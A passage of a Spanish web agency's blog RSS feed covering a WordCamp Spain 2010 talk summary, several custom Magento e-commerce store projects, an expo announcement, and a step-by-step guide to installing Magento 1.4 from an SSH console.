<p>La verdad es que como primera conclusión podemos decir que para nosotros, en la <strong>Wordcamp Spain 2010 </strong>se ha conseguido aumentar el nivel general del evento respecto al año pasado. Gracias a que hemos podido disfrutar de más gente de <a title="Automattic" href="http://automattic.com/" target="_blank">Automattic</a>, como <a title="Ze Fontainhas from Automattic" href="http://ze.fontainhas.com/" target="_blank">José Fontainhas</a> que es ya un clásico, <a title="Karim Osman from Automattic" href="http://kar.im/" target="_blank">Karim Osman</a>, <a title="Isaac Keyet from Automattic" href="http://www.isaackeyet.com/blog/" target="_blank">Isaac Keyet</a> (cofundador de IntenseDebate y ahora en plantilla), y también de la visita de <a title="Jeffrey Pearce from Woothemes" href="http://www.jeffikus.com/" target="_blank">Jeffrey Pearce</a> como representante de <a title="Wordpress themes" href="http://woothemes.com" target="_blank">Woothemes.com</a>.</p>
<p><a title="foto-de-grupo-de-la-Wordcamp-Spain-2010" href="http://onestic.com/wp-content/uploads/2010/12/foto-de-grupo-de-la-Wordcamp-Spain-2010-little.jpg" target="_blank"><img class="alignnone size-large wp-image-960" title="foto-de-grupo-de-la-Wordcamp-Spain-2010" src="http://onestic.com/wp-content/uploads/2010/12/foto-de-grupo-de-la-Wordcamp-Spain-2010-little-611x226.jpg" alt="foto-de-grupo-de-la-Wordcamp-Spain-2010" width="611" height="226" /></a></p>
<p>Las ponencias fueron bastante interesantes para todo tipo de perfiles. Bien es cierto que para los usuarios de WordPress algunas fueron demasiado técnicas, y que para los desarrolladores avanzados otras charlas profundizaron poco o carecían de interés. Pero a pesar de que cualquier ponencia tiene cierto grado de autopromoción, ninguna fue un publireportaje.</p>
<p>En la primera, <strong><a title="Blog personal de Fernando Tellado" href="http://fernandotellado.com/" target="_blank">Fernando Tellado</a></strong> nos siguió descubriendo plugins y usos de WordPress curiosos. Fernando siempre está descubriendo a la comunidad hispana de WordPress utilidades y plugins que mucha gente no encontraría porque ni siquiera se plantea buscarlos. Pero él está atento, y desde ayudawordpress.com siempre tiene algo interesante que enseñar. Podéis encontrar <a title="Fernando Tellado en la Wordcamp Spain 2010" href="http://ayudawordpress.com/" target="_blank">la ponencia de Fernando Tellado aquí</a>.</p>
<p>La segunda fue para <strong>José Fontainhas</strong>, que expuso lo nuevo que viene con WordPress 3.1. Rápida y concisa. Según nos comentó lo mejor para <a title="Novedades de WordPress 3.1" href="http://codex.wordpress.org/Version_3.1" target="_blank">conocer las novedades  de WP3.1 es visitar la página oficial</a>.</p>
<p><strong><a title="Blog de Rafael Poveda" href="http://raven.es/" target="_blank">Rafael Poveda</a></strong>, de <a title="Mecus, desarrollo en WordPress" href="http://mecus.es/" target="_blank">Mecus</a>, nos explicó los entresijos de la creación rápida de temas con la nueva versión de WordPress 3.x. Temas elásticos, frameworks themes y temas hijos. Sobre todo, la idea de no reinventar la rueda creando temas desde cero sin pensar en que podemos aprovechar soluciones existentes mediante el uso de temas hijos, o temas específicos hipercustomizables.  <span style="text-decoration: line-through;">¡Sólo falta que cuelguen la presentación! <img src='http://onestic.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  </span><a title="Ponencia de Rafael Poveda en la Wordcamp" href="http://www.slideshare.net/bi0xid/rethinking-themes-mecus" target="_blank">Puedes encontrar su presentación aquí</a>.</p>
<p>Después fue el turno para <a title="Web de El señor Muñoz" href="http://www.senormunoz.es/" target="_blank">el SeñorMuñoz</a>, <strong>Fernando Muñoz</strong>, consultor SEO de profesión. Amplió la que nos ofreció el año pasado con unas nociones de SEO básicas pero imprescindibles a la hora de implementar temas de WordPress. Y para rematar nos mostró un amplio abanico de plugins para potenciar el aspecto SEO de un WordPress. <a title="Fernando Muñoz en la Wordcamp Spain 2010" href="http://www.senormunoz.es/SEO-MARBELLA/wordcamp-seo-plugins" target="_blank">Su presentación y su resumen la podéis encontrar en su web</a>.</p>
<p>Tras la comida tuvimos el gusto de escuchar a<strong> <a title="Blog personal de Luis Rull" href="http://luisrull.es/" target="_blank">Luis Rull</a></strong>, de <a title="Mecus, desarrollo en WordPress" href="http://mecus.es/" target="_blank">Mecus</a>, hablando de los distintos usos que se le puede dar a WordPress más allá de la creación de blogs. Y qué sorpresa la nuestra cuando presentó el proyecto de <a title="Chicisimo.com, tu comunidad sobre moda" href="http://chicisimo.com" target="_blank"><strong>Chicisimo.com</strong></a> que con tanta ilusión estamos llevando hacia delante junto con sus creadores, Gabriel Aldamiz y su mujer María Arenaza. No nos cansaremos de agradecer a Luis que pusiese a chicisimo.com como ejemplo de uso de extremo de WordPress para crear una comunidad alrededor de un nexo común para sus usuarios, como es la moda. Además nos enseño otros sites que usan WordPress, aunque no lo parezca. Su presentación, en <a title="Blog de Luis Rull" href="http://luisrull.es/2010/12/wordcamp-espana-2010-wordpress-como-cms.html" target="_blank">su blog personal</a>.</p>
<p><strong>Isaac Keyet</strong>, cofundador de IntenseDebate y ahora Coordinador del equipo de trabajo de desarrollos para dispositivos móviles de Automattic, nos introdujo a los temas específicos para este tipo de dispositivos y las herramientas principales que tenemos a nuestra disposición para usar WordPress en ellos.</p>
<p>Luego <strong>Karim Osman</strong>, también de Automattic, nos dio algunas pinceladas de los entresijos de una gran empresa como Automattic, de su historia y de hacia donde navegan en la actualidad. Siempre interesante que alguien tan simpático como Karim venga y te cuente como funciona una empresa que se ha hecho tan grande e importante en tan poco tiempo. Para tomar nota. <a title="Karim Osman en la Wordcamp Spain 2010" href="http://kar.im/2010/12/11/wordcamp-spain-presentation/" target="_blank">Su presentación la podéis encontrar en su web</a>.</p>
<p><a rel="attachment wp-att-961" href="http://onestic.com/resumen-de-la-wordcamp-spain-2010/onestic-en-la-wordcamp-spain-2010-junto-con-blogestudio-y-el-senor-munoz/"><img class="size-full wp-image-961 alignright" title="Onestic-en-la-Wordcamp-Spain-2010-junto-con-Blogestudio-y-el-Señor-Muñoz" src="http://onestic.com/wp-content/uploads/2010/12/Onestic-en-la-Wordcamp-Spain-2010-junto-con-Blogestudio-y-el-Señor-Muñoz.jpg" alt="Onestic-en-la-Wordcamp-Spain-2010-junto-con-Blogestudio-y-el-Señor-Muñoz" width="313" height="98" /></a>Y por fin <a title="Blog de Fernando Serer" href="http://www.fernandoserer.com/" target="_blank"><strong>Fernando Serer</strong></a>, con su tan aplaudida ponencia (sobre todo en Twitter) sobre WordPress y el comercio electrónico. Temas y plugins para vender con WordPress. Que está claro que no es la misión de la plataforma en convertirse en un framework de tiendas online, pero para desarrollos rápidos, aprovechando quizás un site con Worpdress con cantidad de visitas, para crear tiendas con multitud de landing pages, es una cuestión a tener en cuenta. Y más después de tener en las manos el profundo análisis que expuso Fernando Serer y que realizaron en Blogestudio. Muy muy interesante. Superrecomendable <a title="Fernando Serer en la Wordcamp Spain 2010" href="http://www.slideshare.net/fserer/wordpress-como-plataforma-de-comercio-electrnico?from=ss_embed" target="_blank">ver la presentación en slideshare</a>.</p>
<p><strong>Jeffrey Pearce</strong> nos mostró su gran plugin WooThumbBlog, que forma parte de muchos temas que tienen a la venta en Woothemes. Jeffrey es un programador excepcional, y un tío muy simpático. Gracias a él nos vinimos con una camiseta de Woothemes, con un posible acuerdo para colaborar con ellos creando nuevos temas, y con un descuento del 30% en su plataforma <img src='http://onestic.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a title="Jeffrey Pearce in Wordcamp Spain" href="http://www.jeffikus.com/2010/12/11/wootumblog-post-formats-express-app-wordcamp-spain-2010-slides/" target="_blank">Su presentación, en su web</a>.</p>
<p>Y por último <strong><a title="Web de Rocío Valdivia" href="http://dorsvenabili.com/" target="_blank">Rocío Valdivia</a></strong> nos enseñó como crear plugins multilenguaje desde cero y de una forma muy sencilla. Seguro que mucha gente perdió el miedo a crear su propio plugins, y alguno que incluía nueva funcionalidad en el tema ahora usará sus propios plugins a partir de ahora. Faltó tiempo para hacer una demostración en vivo, pero fue <a title="Ponencia de Rocía Valdivia en la WordCamp Spain 2010" href="http://mecus.es/wordcamp-spain-2010-taller-de-plugins/" target="_blank">una ponencia muy interesante que podéis encontrar aquí</a>.</p>
<p>&nbsp;</p>

<p>Para finalizar, queremos darle nuestro agradecimiento a la gente de <a title="Packet Loss" href="http://www.packet-loss.org/index_es.html" target="_blank">Packet Loss</a> (<a title="Raúl Illana" href="http://raulillana.com/" target="_blank">Raúl Illana</a>, Ismael Charif, <a title="Ricard Torres" href="http://php.quicoto.com" target="_blank">Ricard Torres</a>, etc etc) por hacer posible la Wordcamp en España y por el éxito de organización de este año. Y por supuesto a <a title="Cavalleto" href="http://soyplastic.net/" target="_blank">Cavalleto</a> (su <a title="Flickr de Cavalleto" href="http://www.flickr.com/photos/cavalleto/" target="_blank">flickr</a>) por ser testigo con su cámara y por permitirnos usar las fotos del evento.</p>
]]></content:encoded>
			<wfw:commentRss>http://onestic.com/resumen-de-la-wordcamp-spain-2010/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Tienda de Zapatillas Satorisan en Magento</title>
		<link>http://onestic.com/tienda-de-zapatillas-satorisan-en-magento/</link>
		<comments>http://onestic.com/tienda-de-zapatillas-satorisan-en-magento/#comments</comments>
		<pubDate>Fri, 15 Oct 2010 09:56:48 +0000</pubDate>
		<dc:creator>Sergio Baixauli</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Magento]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[magento]]></category>
		<category><![CDATA[tienda en magento]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=938</guid>
		<description><![CDATA[Nuevo desarrollo de una tienda en Magento. En este caso se trata de una tienda de Zapatillas llamada Satorisan. Poco a poco nos vamos posicionando en el mercado como empresa especialista en comercio electrónico y desarrollo de tiendas ecommerce. Para esta tienda se han realizado las siguientes mejoras o extensiones desarrolladas a medida de las [...]]]></description>
			<content:encoded><![CDATA[<p>Nuevo desarrollo de una tienda en Magento. En este caso se trata de una tienda de Zapatillas llamada <a href="http://satorisan.com">Satorisan</a>. Poco a poco nos vamos posicionando en el mercado como <a href="http://onestic.com/servicios/#Tiendas%20con%20Magento">empresa especialista en comercio electrónico y desarrollo de tiendas ecommerce.</a></p>
<p>Para esta tienda se han realizado las siguientes mejoras o extensiones desarrolladas a medida de las necesidades del cliente:</p>
<ul>
	<li><strong>Carro de compra personalizado.</strong> Se ha modificado el clásico paso en horizontal para hacerlos verticales. Para ello se ha modificado todo el onestep y los javascript de varien para saltar de paso en paso. Por otro lado se han modificado los datos de registro personalizando los campos y su disposición. </li>
<li><strong>Facturas personalizadas.</strong> Personalización de las facturadas generadas, envío de pdf tanto en las facturas rectificativas como en las facturas de pedido.</li>
<li><strong>Creación de pasos intermedios de un pedido.</strong> Para su correcto seguimiento se han creado nuevos estados asociados a eventos y acciones. En realidad hemos dejado bastante poco del funcionamiento original.</li>
<li><strong>Multiidioma en magento para la tienda.</strong> Soporte para dos idiomas, inglés y castellano.</li>
<li><strong>Nuevos productos.</strong> Módulo en portada para nuevos productos integrado con un carrusel en jQuery.</li>
<li><strong>Zoom para productos.</strong> Para el detalle de los productos se ha utilizado un zoom hecho en flash que permite ver las imágenes del producto a 4000&#215;4000 (más que suficiente no?)</li>
<li><strong>Carro de compra jQuery.</strong> En la cabecera de la tienda podéis ver el efecto al añadir y mostrar los productos.</li>
<li><strong>Integración de Magento con DHL España. </strong> Hemos realizado un módulo para integrar la tienda con DHL y AZA Logistics. Con esto conseguimos sincronizar los estados de los pedidos en tiempo real, notificar desde Magento con los tracking numbers, generar las facturas cuando los pedidos son entregados, pasarlos a un estado completado y notificar a los clientes ante cualquier imprevisto. La verdad es que este ha sido un módulo muy costoso pero finalmente el resultado ha sido excelente.</strong>
<li><strong>Integración de Magento con SEUR.</strong> Para una nueva fase vamos a realizar un desarrollo para Magento y SEUR, con esto completaremos los anteriores desarrollos hechos para MRW y Magento.</li>
<li><strong>Integración de módulo de 4b para el Banco popular con Magento.</strong> Desarrollo y ampliación de nuevas funcionalidades específicas para el pago a través de TPV.</li>
<li><strong>Integración de Paypal Standar con Magento.</strong> Desde los últimos cambios hechos en la versión 1.4.1.1 todo han sido problemas. Finalmente hemos podido controlar los estados y acciones automáticas que realiza Paypal a través de su IPN. Todo un mundo creerme&#8230; </li>
<li><strong>Cron en Magento.</strong> Creación de disparadores y acciones programadas para la ejecución y sincronización de stocks, estados de pedidos y envíos automáticos con los números de seguimiento.<li>
<li><strong>HelpDesk para Magento.</strong> Soporte para tickets de ayuda y control de incidencias. Control a través de tickets de los correos procesados en la tienda así como sus estados.</li>
<li><strong>RMA para Magento.</strong> La verdad es que en este sentido nos decidimos por adquirir uno ya desarrollado y la verdad es que el resultado no podía haber sido peor. Muy malas experiencias con el proveedor, un montón de fallos y una funcionalidad mal rematada. Así que posiblemente acabemos desarrollando nosotros un módulo de RMA (gestión de devoluciones).</li>
</ul>
<p>La lista de cambios además de todas estas es interminable, así que mejor os dejamos descubrirlas. El resultado es una tienda en Magento a gusto del consumidor  que esperamos funcione a las mil maravillas <img src='http://onestic.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <p>
Esperamos que os guste <a href="http://satorisan.com">Satorisan</a>!
]]></content:encoded>
			<wfw:commentRss>http://onestic.com/tienda-de-zapatillas-satorisan-en-magento/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Quelovendan.com &#8211; Nueva tienda E-commerce desarrollada en Magento</title>
		<link>http://onestic.com/quelovendan-com-nueva-tienda-e-commerce-desarrollada-en-magento/</link>
		<comments>http://onestic.com/quelovendan-com-nueva-tienda-e-commerce-desarrollada-en-magento/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 11:23:42 +0000</pubDate>
		<dc:creator>Sergio Baixauli</dc:creator>
				<category><![CDATA[Magento]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[magento]]></category>
		<category><![CDATA[tienda en magento]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=904</guid>
		<description><![CDATA[Hoy por fin hemos publicado nuestro último trabajo, quelovendan.com. La tienda oficial de nopuedocreer.com. Lo nuestro nos ha costado. Una vez más tenemos que dar la gracias a @Danitroy (nopuedocreer.com) y @jlhortelano (tecnorantes.com). Esta nueva tienda desarrollada con Magento lleva muchas mejoras y alguna que otra extensión a medida. Integración con la pasarela de pago [...]]]></description>
			<content:encoded><![CDATA[<p>Hoy por fin hemos publicado nuestro último trabajo, <a href="http://quelovendan.com">quelovendan.com</a>. La tienda oficial de <a href="http://nopuedocreer.com">nopuedocreer.com</a>. Lo nuestro nos ha costado. Una vez más tenemos que dar la gracias a @Danitroy (<a href="http://nopuedocreer.com/">nopuedocreer.com</a>) y @jlhortelano (<a href="http://www.tecnorantes.com/">tecnorantes.com</a>).</p>
<p>Esta nueva <strong>tienda desarrollada con Magento</strong> lleva muchas mejoras y alguna que otra extensión a medida. Integración con la pasarela de pago de <strong>La Caixa para Magento</strong>, <strong>LiveChat</strong> para atención personalizada, notificaciones, módulo de SEO para Magento, canonical urls, optimización y performance específicos en el Core de Magento para esta tienda, la integración con el <strong>sistema de envío de Magento para MRW</strong>, etc.</p>
<p>Como veréis hemos tenido en cuenta el publico objetivo, y por tanto, la estética. Los colores y la navegación están hechos a medida. ¡Esperamos que os guste y que compréis mucho!</p>
]]></content:encoded>
			<wfw:commentRss>http://onestic.com/quelovendan-com-nueva-tienda-e-commerce-desarrollada-en-magento/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Onestic en el E-commerce OpenDays 2010</title>
		<link>http://onestic.com/onestic-en-el-e-commerce-opendays-2010/</link>
		<comments>http://onestic.com/onestic-en-el-e-commerce-opendays-2010/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 13:45:04 +0000</pubDate>
		<dc:creator>Sergio Baixauli</dc:creator>
				<category><![CDATA[Magento]]></category>
		<category><![CDATA[Onestic]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=896</guid>
		<description><![CDATA[Durante los días 8 y 9 de Junio se celebra en Madrid uno de los mayores eventos de comercio electrónico en España, el Expo-ecommerce.com. Este año en Onestic vamos a montar un stand en la Feria para todos aquellos que queráis pasar a conocernos (stand 60). 5500 metros cuadrados de espacio ferial, 70 expositores, más [...]]]></description>
			<content:encoded><![CDATA[
<p>Durante los días 8 y 9 de Junio se celebra en Madrid uno de los mayores eventos de comercio electrónico en España, el <a href="http://www.expo-ecommerce.com/">Expo-ecommerce.com</a>.</p>
<p>Este año en Onestic vamos a montar un stand en la Feria para todos aquellos que queráis pasar a conocernos (<a href="http://www.expo-ecommerce.com/expositores/onestic/">stand 60</a>). 5500 metros cuadrados de espacio ferial, 70 expositores, más de 4000 visitantes y 80 conferencias. También participaremos en una Mesa Redonda el día 9 de Junio cuya temática es <em><strong>&#8220;El software libre, una vía fácil y eficaz para tener tu negocio en Internet.&#8221; </strong></em>en la sala Amsterdam a las 10:00. Si alguno se quiere pasar ya sabéis&#8230;</p>
<p>El objetivo principal de esta mesa redonda es mostrar de manera clara las ventajas de las soluciones Open Source tanto a nivel económico como técnico. Intentaremos a través de nuestras experiencias y casos de éxito comentar lo que debemos tener en cuenta a la hora de montar un solución E-commerce.</p>
<p>Podéis consultar la lista de expositores <a href="http://www.expo-ecommerce.com/secciones/expositores/">aquí</a>.</p>
<p><a href="http://onestic.com/wp-content/uploads/2010/06/logo-magento-1.jpg"><img class="alignnone size-full wp-image-898" title="tiendas magento logo" src="http://onestic.com/wp-content/uploads/2010/06/logo-magento-1.jpg" alt="" width="300" height="275" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://onestic.com/onestic-en-el-e-commerce-opendays-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instalar Magento 1.4 desde una consola SSH</title>
		<link>http://onestic.com/instalar-magento-1-4-desde-una-consola-ssh/</link>
		<comments>http://onestic.com/instalar-magento-1-4-desde-una-consola-ssh/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 09:46:42 +0000</pubDate>
		<dc:creator>Sergio Baixauli</dc:creator>
				<category><![CDATA[Magento]]></category>
		<category><![CDATA[Onestic]]></category>
		<category><![CDATA[instalar magento]]></category>
		<category><![CDATA[magento 1.4]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=868</guid>
		<description><![CDATA[Hola de nuevo a todos, hacía tiempo que no escribía nada, estamos a punto de lanzar dos nuevas tiendas en Magento y vamos muy liados. En cuanto estén listas las pondremos en la sección de Tiendas en Magento. Las versiones de Magento han cambiado y la tarea de instalar una nueva tienda es algo que [...]]]></description>
			<content:encoded><![CDATA[
<p>Hola de nuevo a todos, hacía tiempo que no escribía nada, estamos a punto de lanzar dos nuevas tiendas en Magento y vamos muy liados. En cuanto estén listas las pondremos en la sección de Tiendas en Magento.</p>
<p>Las versiones de Magento han cambiado y la tarea de instalar una nueva tienda es algo que a las empresas que desarrollan/mos en Magento hacemos muy a menudo, os voy a poner los pasos para hacer una instalación base desde cero. Para anteriores versiones podéis ver <a href="http://onestic.com/instalar-magento-desde-una-consola-ssh/">este artículo</a>, es prácticamente igual&#8230;</p>
<ol>
	<li>Lo primero de todo, acceso a la consola claro <img src='http://onestic.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
	<li>Descargamos el paquete con la última versión: <pre class="brush: plain; title: ;">wget http://www.magentocommerce.com/downloads/assets/1.4.0.1/magento-1.4.0.1.tar.gz</pre></li>
	<li>Descomprimimos el paquete: <pre class="brush: plain; title: ;">tar -zxvf magento-1.4.0.1.tar.gz</pre></li>
	<li>Movemos el contenido de la carpeta Magento a nuestro directorio raiz (public_html. www, o el que sea):  <pre class="brush: plain; title: ;">mv magento/* magento/.htaccess .</pre></li>
	<li>Cambiamos permisos a la carpeta media (donde estarán las img de nuestro catálogo): <pre class="brush: plain; title: ;">chmod -R o+w media</pre></li>
	<li>Configuramos la instalación de Magento y buscamos las últimas actualizaciones:<pre class="brush: plain; title: ;">./pear mage-setup .</pre>[code]./pear install magento-core/Mage_All_Latest-stable[/code]</li>
	<li>Este último paso debería traernos e instalar bastantes paquetes, esperar a que termine.</li>
	<li>Cambiamos permisos a la carpeta var (aquí es donde va la cache, logs, sesiones, etc): <pre class="brush: plain; title: ;">chmod o+w var var/.htaccess app/etc</pre></li>
	<li>Borramos la cache y &#8220;basura&#8221; que ha quedado en tras la instalación: <pre class="brush: plain; title: ;">rm -rf downloader/pearlib/cache/* downloader/pearlib/download/*</pre></li>
	<li>Borramos la carpeta Magento (debería estar vacia) y el paquete original que nos hemos bajado: <pre class="brush: plain; title: ;">rm -rf magento/ magento-1.4.0.1.tar.gz</pre></li>
	<li>Ahora pasamos a la creación de la Base de datos.</li>
	<li>Desde la consola entramos a MySQL: <pre class="brush: plain; title: ;">$ mysql -u root</pre></li>
	<li>Ejecutamos: <pre class="brush: plain; title: ;">mysql&amp;gt; create database nombre_de_la_db;</pre></li>
	<li>Creamos el usuario: <pre class="brush: plain; title: ;">grant usage on *.* to nombre_usuario@localhost identified by 'aqui_la_contraseña;</pre></li>
	<li>Asignamos el usuario a la base de datos: <pre class="brush: plain; title: ;">grant all privileges on nombre_de_la_db.* to nombre_usuario@localhost ;</pre></li>
	<li>Ya hemos terminado, ahora podemos empezar la instalación de nuestra nueva tienda en Magento <img src='http://onestic.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ol>
<p>Y nada más&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://onestic.com/instalar-magento-1-4-desde-una-consola-ssh/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

